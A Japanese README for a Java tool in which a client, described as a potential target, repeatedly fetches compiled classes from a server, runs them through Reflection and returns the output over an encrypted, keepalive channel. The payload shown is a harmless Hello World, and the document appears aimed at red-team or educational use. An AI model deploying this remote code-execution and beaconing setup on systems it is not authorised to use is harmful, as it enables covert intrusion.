
クライアント-サーバーツールで、ClassLoader と Reflect API を使用して Java バイトコードをリモートでロードおよび実行し、ChaCha20 暗号化とキープアライブ接続を備えています。
このツールを使用すると、Javaクラスファイルの形式でJavaバイトコードをクライアント(または潜在的なターゲット)に送信し、Java ClassLoaderとReflect APIを使用してロードおよび実行できます。クライアントはサーバーからクラスファイルを受信し、それぞれの実行出力を返します。ペイロードはJavaで記述し、サーバーを起動する前にコンパイルする必要があります。
このツールは、WindowsとLinuxの両方で、OpenJDK 11とJRE Javaパッケージを使用してテストされています(zipポータブル版)。依存関係のため、Javaバージョンは11以上である必要があります。
https://www.openlogic.com/openjdk-downloads
$ java -jar java-class-loader.jar -help
usage: Main
-address <arg> address to connect (client) / to bind (server)
-classfile <arg> filename of bytecode .class file to load remotely
(default: Payload.class)
-classmethod <arg> name of method to invoke (default: exec)
-classname <arg> name of class (default: Payload)
-client run as client
-help print this message
-keepalive keeps the client getting classfile from server every
X seconds (default: 3 seconds)
-key <arg> secret key - 256 bits in base64 format (if not
specified it will generate a new one)
-port <arg> port to connect (client) / to bind (server)
-server run as server
次の Hello World ペイロードが Payload.java ファイルにあると仮定します:
//Payload.java
public class Payload {
public static String exec() {
String output = "";
try {
output = "Hello world from client!";
} catch (Exception e) {
e.printStackTrace();
}
return output;
}
}
次に、コンパイルして対応する Payload.class ファイルを生成する必要があります。
すべてのネットインターフェースでポート1337をリッスンするサーバープロセスを実行するには:
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class
Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
クライアント側では、同じJARパッケージを -client フラグで使用し、サーバーによって生成された対称鍵を使用できます。接続先のサーバーIPアドレスとポートを指定します。クラス名とクラスメソッドも変更できます(デフォルトはそれぞれ Payload と String exec() です)。さらに、-keepalive を指定すると、接続を維持しながらクライアントがサーバーにクラスファイルを要求し続けることができます。
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server
このツールの開発に関するブログ記事については、https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ を参照してください。
https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis
https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7
https://venishjoe.net/post/dynamically-load-compiled-java-class/
https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php
https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html